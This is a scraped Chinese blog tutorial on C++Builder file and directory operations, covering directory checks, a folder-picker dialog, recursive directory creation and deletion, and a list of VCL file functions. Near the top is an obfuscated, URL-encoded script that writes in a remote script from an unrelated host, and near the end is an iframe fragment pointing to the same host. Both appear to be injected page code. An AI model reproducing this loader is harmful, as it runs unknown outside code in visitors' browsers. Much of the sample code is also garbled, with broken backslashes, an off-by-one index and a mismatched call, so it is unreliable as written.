c++Builder 下的文件及目录操作

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
c++Builder 下的文件及目录操作




一、判断目录是否存在:
   
   
  C++   Builder
中提供了检查文件是否存在的函数
FileExists

indows  
程序实现如下:
   
   
 

char   *Dir
为带判断的目录
   
  bool   Exist;   //  
最后结果,表示目录是否存在
   
  if(Dir[strlen(Dir)]=='//')Dir[strlen(Dir)-1]='/0';   //  
先删除最后的“
/

   
  WIN32_FIND_DATA   wfd;   //  
查找
   
  HANDLE   hFind=FindFirstFile(Dir,&wfd);    
  if(hFind==INVALID_HANDLE_VALUE)Exist=false;   //  
没有找到配备,目录肯定不存在
   
  else    
  {    
  if(wfd.dwFileAttributes   &   FILE_ATTRIBUTE_DIRECTORY)   //  
检查找到的结果是否目录
   
  Exist=true;   //  
是目录
,
目录存在
   
  else    
  Exist=false;   //  
是目录
,
目录不存在
   
  FindClose(hFind);    
  }    
   
 
二、打开目录选择对话框选择一个目录:
   
   
 
大多专业软件在要求输入目录的编辑框旁都放了一个按钮,点击后打开一个目录窗口,很多编程爱好者也希望能掌握这个方法。实现这个功能要调用
Windows   API
函数
SHBrowseForFolder
,完整声明为
WINSHELLAPI   LPITEMIDLIST   WINAPI   SHBrowseForFolder(LPBROWSEINFO   lpbi)
,返回一个
ITEMIDLIST
类型的指针,通过这个指针调用函数
SHGetPathFromIDList
可以确定所选择的目录的全名称。入参为
BROWSEINFO
结构的指针,这个结构较为复杂,成员如下所示:
   
   
  HWND   hwndOwner;   //  
拥有对话框的窗口,可以设置为
Application->Handle    
  LPCITEMIDLIST   pidlRoot;   //   ITEMIDLIST
类型的指针
,
表示在哪个路径下选择,一般可以设置为
NULL    
  LPSTR   pszDisplayName;   //  
选择后,所选目录的名称
(
不包含父级目录
)
被拷贝到这个指针指向的位置
   
  LPCSTR   lpszTitle;   //  
作为标题显示在对话框中目录树的上面,可以根据实际情况设置
   
  UINT   ulFlags;   //  
标志位,有点复杂,一般设置为
BIF_RETURNONLYFSDIRS    
  BFFCALLBACK   lpfn;   //  
回调函数,一般不用,设置为
NULL    
  LPARAM   lParam;   //  
预定义的对话框传递给回调函数的值
   
  int   iImage;   //  
与所选目录相关联的图标在系统图标集合中的索引
   
 
可以看出,使用函数
SHBrowseForFolder
还真麻烦,普通爱好者掌握它确实有一定的难度,现给出完整程序段如下:
   
  #include   <shlobj.h>   //  
必须包含的头文件
   
  char   SelectedDir[MAX_PATH];   //  
最终结果
   
  BROWSEINFO   bi;   //  
入参
   
  char   FolderName[MAX_PATH];   //  
所选目录名称,例如选择
C:/Windows/Font,
则为
Font    
  LPITEMIDLIST   ItemID;   //  
所选目录的系统标志指针
   
   
  memset(SelectedDir,   0,   MAX_PATH);   //  
初始化最终结果
   
  memset(&bi,   0,   sizeof(BROWSEINFO));   //  
初始化入参所有数据
   
  bi.hwndOwner   =   Application->Handle;    
  bi.pszDisplayName   =   FolderName;    
  bi.lpszTitle   =   "
请选择目录
";   //  
改成自己希望的
   
  bi.ulFlags=BIF_RETURNONLYFSDIRS;    
  ItemID   =   SHBrowseForFolder(&bi);   //  
调用函数,打开目录选择对话框
   
  if(ItemID)    
  {    
  SHGetPathFromIDList(ItemID,   SelectedDir);   //  
获取所选目录的全名
   
  GlobalFree(ItemID);   //  
返回的
ItemID
占用了系统资源,不要忘了释放
   
  }    
   
 
三、直接建立多级目录:
   
   
  Windows   API
提供了建立目录的函数
CreateDirectory
,但是调用前要保证父目录必须存在,否则会失败。其实,有时越级建立多级目录很有用,因为在建立目录特别是建立多层目录时,层层加以判断会大大地增加程序的复杂程度。如何实现这个功能呢?本人用递归方法设计了一个可以直接建立多级目录的函数,现说明如下,供各位朋友参考。
   
   
  bool   MakeDirectoryEx(const   AnsiString   &P)   //  
入参为打算创建的目录名
,
根据操作结果返回
"true"

"false"    
  {    
  if(P.IsEmpty())return   false;    
  int   len=P.Length();    
  char   *Path=P.c_str();    
  if(Path[len-1]=='//')    
  {    
  len--;    
  Path[len]='/0';    
  }   //  
删除末尾的
"/"    
  AnsiString   Dir=Path;    
  //  
分开父目录和本身目录名称
   
  AnsiString   Parent;    
  for(int   i=len-1;i>0;i--)    
  {    
  if(Dir.IsPathDelimiter(i))    
  {    
  Parent=Dir.SubString(0,i);    
  break;    
  }    
  }    
  if(Parent.IsEmpty())return   false;   //  
目录名称错误
   
  bool   Ret=true;    
  if(Parent.Length()>3)   //  
如果长度小于
3
,表示为磁盘根目录
   
  Ret=DirectoryExistEx(Parent.c_str());//  
检查父目录是否存在
   
  if(!Ret)Ret=MakeDirectoryEx(Parent);   //  
父目录不存在
,
递归调用创建父目录
   
  if(Ret)   //  
父目录存在
,
直接创建目录
   
  {    
  SECURITY_ATTRIBUTES   sa;    
  sa.nLength=sizeof(SECURITY_ATTRIBUTES);    
  sa.lpSecurityDescriptor=NULL;    
  sa.bInheritHandle=0;    
  Ret=CreateDirectory(Path,&sa);    
  }    
  return   Ret;    
  }    
 
可以看出基本方法是
:    
 
先检查父目录是否存在,这里用到的函数
DirectoryExistEx
可以按照前面介绍的方法设计;
   
 
如果父目录存在,则直接创建目录
,
否则自我调用创建父目录。
   
   
   
 
四、直接删除整个目录:
   
   
 

DOS
下有一个
Deltree
命令,用来删除整个目录,这是一个很有用的功能,可惜,
Windows   API
提供的函数
RemoveDirectory
只能删除控目录,就像
DOS

RD
命令一样。编程实现这个功能同样需要递归方法,基本流程是:
   
   
 
查找目录下的所有文件和目录,即调用
API
函数
FindFirstFile

FindNextFile(*.*)    
 
如果找到文件,则强制删除。所谓强制删除,即删除前先调用
SetFileAttributes
把它的属性设置为
Normal
,然后调用
DeleteFile
删除它。
   
 
如果找到目录,则进行自我调用,即开始递归过程。
   
 
如果没有找到目录,即表示为控目录,调用
RemoveDirectory
直接删除。
   
 
具体程序代码如下:
   
   
  bool   DeleteDirectoryEx(const   AnsiString   &P)    
  {    
  if(P.IsEmpty()   ||   P.Length()<4)return   false;   //  
参数长度必须大于
3
,即不能为磁盘根目录或空白
   
  int   len=P.Length();    
  char   *Path=P.c_str();    
  AnsiString   Dir=Path;    
  if(Path[len-1]!='//')Dir=Dir+'//';    
  AnsiString   Files=Dir+"*.*";    
  WIN32_FIND_DATA   wfd;    
  HANDLE   hFind=FindFirstFile(Files.c_str(),&wfd);    
  bool   Ret=true;    
  AnsiString   Tmp;    
  if(hFind!=INVALID_HANDLE_VALUE)    
  {    
  bool   bFind=true;    
 

while(bFind)    
  {    
 
      
if(wfd.cFileName[0]!='.')   //   .   ..    
 
    
{    
 
            
Tmp=Dir+wfd.cFileName;    
 
           
      
if(wfd.dwFileAttributes   &   FILE_ATTRIBUTE_DIRECTORY)    
 
           
      
{   //  
删除所有子目录
   
 
               
   
      
Ret=Ret&&DeleteDirectoryEx(Tmp.c_str(),false);    
 
            
      
}else    
 
           
      
{   //  
删除所有文件
   
 
                  
      
SetFileAttributes(Tmp.c_str(),FILE_ATTRIBUTE_NORMAL);    
 
                   
      
Ret=Ret&&DeleteFile(Tmp.c_str());    
 
            
      
}    
 
     
}    
 
     
bFind=FindNextFile(hFind,&wfd);    
  }    
  FindClose(hFind);    
  }    
  if(Ret)return   RemoveDirectory(Path);    
  return   false;    
  }  
 
直接建立多级目录可以用
ForceDirectories  
 
比如
ForceDirectories("C://111//222//333");  
   
 
即使不存在
C:/111
这个目录,也会创建成功。
 
ExpandFileName()  
返回文件的全路径
(
含驱动器、路径
)    
  ExtractFileExt()  
从文件名中抽取扩展名
   
  ExtractFileName()  
从文件名中抽取不含路径的文件名
   
  ExtractFilePath()  
从文件名中抽取路径名
   
  ExtractFileDir()  
从文件名中抽取目录名
   
  ExtractFileDrive()  
从文件名中抽取驱动器名
   
  ChangeFileExt()  
改变文件的扩展名
   
  ExpandUNCFileName()  
返回含有网络驱动器的文件全路径
   
  ExtractRelativePath()  
从文件名中抽取相对路径信息
   
  ExtractShortPathName()  
把文件名转化为
DOS

8
·
3
格式
   
  MatchesMask()  
检查文件是否与指定的文件名格式匹配
   
  CreateDir()  
创建新的子目录
   
  DeleteFile()  
删除文件
   
  DirectoryExists()  
判断目录是否存在
   
  DiskFree()  
获取磁盘剩余空间
   
  DiskSize()  
获取磁盘容量
   
  FileExists()  
判断文件是否存在
   
  FileGetAttr()  
获取文件属性
   
  FileGetDate()  
获取文件日期
   
  GetCurrentDir()  
获取当前目录
   
  RemoveDir()  
删除目录
   
  SetCurrentDir()  
设置当前目录
   
   
 
  下面就把这些函数作一一介绍:
 
   
 

CreateDir()  
 
  原型:
extern   PACKAGE   bool   __fastcall   CreateDir(const   System::AnsiString   Dir);  
   
 
  功能:建立子目录,如果成功返回
true
,否则返回
false  
   
 
  参数:
Dir:
要建立的子目录的名字
 
   
 
  例:
Create("ASM");//
在当前目录下建立一个名为
ASM
的子目录
 
   
 

DeleteFile()  
 
  原型:
extern   PACKAGE   bool   __fastcall   DeleteFile(const   System::AnsiString   FileName);  
   
 
  功能:删除文件,如果成功返回
true
,否则返回
false  
   
 
  参数:
FileName:
要删除的文件名
 
   
 
  例:
if(OpenDialog1->Execute())DeleteFile(OpenDialog1->FileName);  
   
 

DirectoryExists()  
 
  原型:
extern   PACKAGE   bool   __fastcall   DirectoryExists(const   System::   AnsiString   Name);  
   
 
  功能:检测目录是否存在,如果存在返回
true
,否则返回
false  
   
 
  参数:
Name:
要检测的目录名
 
   
 
  例:
if(!DirectoryExists("ASM"))CreateDir("ASM");//
如果
ASM
这个目录不存在则创建之
 
   
 

DiskFree()  
 
  原型:
extern   PACKAGE   __int64   __fastcall   DiskFree(Byte   Drive);  
   
 
  功能:检测磁盘剩余空间,返回值以字节为单位,如果指定的磁盘无效,返回
-1  
   
 
  参数:
Drive
:磁盘的代号,
0
表示当前盘
,   1=A,2=B,3=C  
以此类推
 
   
 
  例:
ShowMessage(DiskFree(0));//
显示当前盘的剩余空间
 
   
 

DiskSize()  
 
  原型:
extern   PACKAGE   __int64   __fastcall   DiskSize(Byte   Drive);  
   
 
  功能:检测磁盘容量,返回值以字节为单位,如果指定的磁盘无效,返回
-1  
   
 
  参数:
Drive
:磁盘的代号,
0
表示当前盘
,   1=A,2=B,3=C  
以此类推
 
   
 
  例:
ShowMessage(DiskFree(0));//
显示当前盘的容量
 
   
 

FileExists()  
 
  原型:
extern   PACKAGE   bool   __fastcall   FileExists(const   AnsiString   FileName);  
   
 
  功能:检测文件是否存在,如果存在返回
true
,否则返回
false  
   
 
  参数:
FileName:
要检测的文件名
 
   
 
  例:
if(FileExists("AAA.ASM"))DeleteFile("AAA.ASM");  
   
 

FileGetAttr()  
 
  原型:
extern   PACKAGE   int   __fastcall   FileGetAttr(const   AnsiString   FileName);  
   
 
  功能:取得文件属性,如果出错返回
-1  
   
 
返回值如下表,如果返回
$00000006
表示是一个具有隐含和系统属性的文件
(4+2)  
   
 
常量
 

 
含义
   
  faReadOnly   $00000001  
只读文件
   
  faHidden   $00000002  
隐含文件
   
  faSysFile   $00000004  
系统文件
   
  faVolumeID   $00000008  
卷标
   
  faDirectory   $00000010  
目录
   
  faArchive   $00000020  
归档文件
   
   
 
  例:
if(FileGetAttr("LLL.TXT")&0x2)ShowMessage("
这是一个有隐含属性的文件
");  
   
 
  与此对应的有
FileSetAttr()  
,请自已查阅帮助系统
 
   
   
 

FileGetDate()  
 
  原型:
extern   PACKAGE   int   __fastcall   FileGetDate(int   Handle);  
   
 
  功能:返回文件的建立时间到
1970-1-1

0
时的秒数
 
   
 
  参数:
Handle:

FileOpen()
打开的文件句柄。
 
   
 
  例:
 
   
 
    
int   i=FileOpen("C://autoexec.bat",fmOpenRead);  
 
    
ShowMessage(FileGetDate(i));  
 
    
FileClose(i);  
   
 
  与此对应的有
FileSetDate()
,请自已查阅帮助系统
 
   
 

GetCurrentDir()  
 
  原型:
extern   PACKAGE   AnsiString   __fastcall   GetCurrentDir();  
   
 
  功能:取得当前的目录名
 
   
 
  例:
ShowMessage(GetCurrentDir());  
   
 

RemoveDir()  
 
  原型:
extern   PACKAGE   bool   __fastcall   RemoveDir(const   AnsiString   Dir);  
   
 
  功能:删除目录,如果成功返回
true
,否则返回
false  
   
 
  参数:
Dir:
要删除的目录名
 
   
 
  例:
if(DiectoryExists("ASM"))RemoveDir("ASM");  
   
 

SetCurrentDir()  
 
  原型:
extern   PACKAGE   bool   __fastcall   SetCurrentDir(const   AnsiString   Dir);  
   
 
  功能:设置当前目录,如果成功返回
true
,否则返回
false  
   
 
  参数:
Dir:
要切换到的目录名
 
   
 
  例:
SetCurrentDir("C://WINDOWS"); 
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值